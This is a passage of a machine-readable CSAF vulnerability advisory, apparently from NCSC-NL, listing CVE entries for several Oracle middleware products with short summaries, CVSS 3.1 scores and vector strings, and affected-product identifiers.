"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61228"
},
{
"cve": "CVE-2026-61229",
"notes": [
{
"category": "description",
"text": "A high-severity vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to potentially compromise confidentiality, integrity, and availability via HTTP, with a CVSS 3.1 base score of 8.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61229 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61229.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61229"
},
{
"cve": "CVE-2026-61230",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to access sensitive data, with a CVSS 3.1 base score of 8.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61230 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61230.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61230"
},
{
"cve": "CVE-2026-61231",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Virtual Directory versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with LDAP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61231 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61231.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61231"
},
{
"cve": "CVE-2026-61241",
"notes": [
{
"category": "description",
"text": "A critical LDAP vulnerability in Oracle Internet Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers to fully compromise systems, with a CVSS 3.1 base score of 10.0.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61241 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61241.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 10.0,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61241"
},
{
"cve": "CVE-2026-61248",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Internet Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network LDAP access to fully compromise the system, with a CVSS 3.1 base score of 9.9.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61248 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61248.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61248"
},
{
"cve": "CVE-2026-61258",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Internet Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers with network LDAP access to fully compromise the system, with a CVSS 3.1 base score of 9.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61258 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61258.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61258"
},
{
"cve": "CVE-2026-61288",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to potentially gain unauthorized access and modify critical data, rated CVSS 3.1 base score 7.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61288 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61288.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61288"
},
{
"cve": "CVE-2026-61290",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with network access and user interaction to potentially compromise system confidentiality, integrity, and availability, with a CVSS 3.1 score of 7.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61290 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61290.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61290"
},
{
"cve": "CVE-2026-61291",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with infrastructure access to potentially compromise system confidentiality, integrity, and availability, rated with a CVSS 3.1 base score of 7.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61291 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61291.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61291"
},
{
"cve": "CVE-2026-61295",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with infrastructure logon to access critical or all accessible data, with a CVSS 3.1 base score of 7.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61295 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61295.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61295"
},
{
"cve": "CVE-2026-62608",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows a low-privileged attacker with network access via CORBA to fully compromise the product, with a CVSS 3.1 base score of 9.9.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62608 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62608.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62608"
},
{
"cve": "CVE-2026-62609",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 with a CVSS 3.1 base score of 9.8 allows full system compromise affecting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62609 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62609.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62609"
},
{
"cve": "CVE-2026-62610",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 enables unauthenticated remote attackers to gain unauthorized access and manipulate or delete critical data via HTTP, with a CVSS 3.1 base score of 9.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62610 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62610.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62610"
},
{
"cve": "CVE-2026-62611",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 via IIOP has a CVSS 3.1 score of 9.8, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62611 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62611.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62611"
},
{
"cve": "CVE-2026-62612",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, rated with a CVSS 3.1 base score of 8.8 for high impact on confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62612 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62612.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62612"
},
{
"cve": "CVE-2026-62613",
"notes": [
{
"category": "description",
"text": "A critical vulnerability (CVSS 9.3) in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated attackers with physical network access to compromise the product, enabling unauthorized data creation, deletion, or modification.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62613 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62613.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62613"
},
{
"cve": "CVE-2026-62614",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62614 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62614.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62614"
},
{
"cve": "CVE-2026-62615",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows low-privileged attackers with HTTP network access to potentially compromise confidentiality, integrity, and availability, with a CVSS score of 8.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62615 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62615.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62615"
},
{
"cve": "CVE-2026-62616",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated attackers with SMTP network access to perform unauthorized data modifications and cause partial denial of service, affecting product integrity and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62616 | NCSC-NL Website",
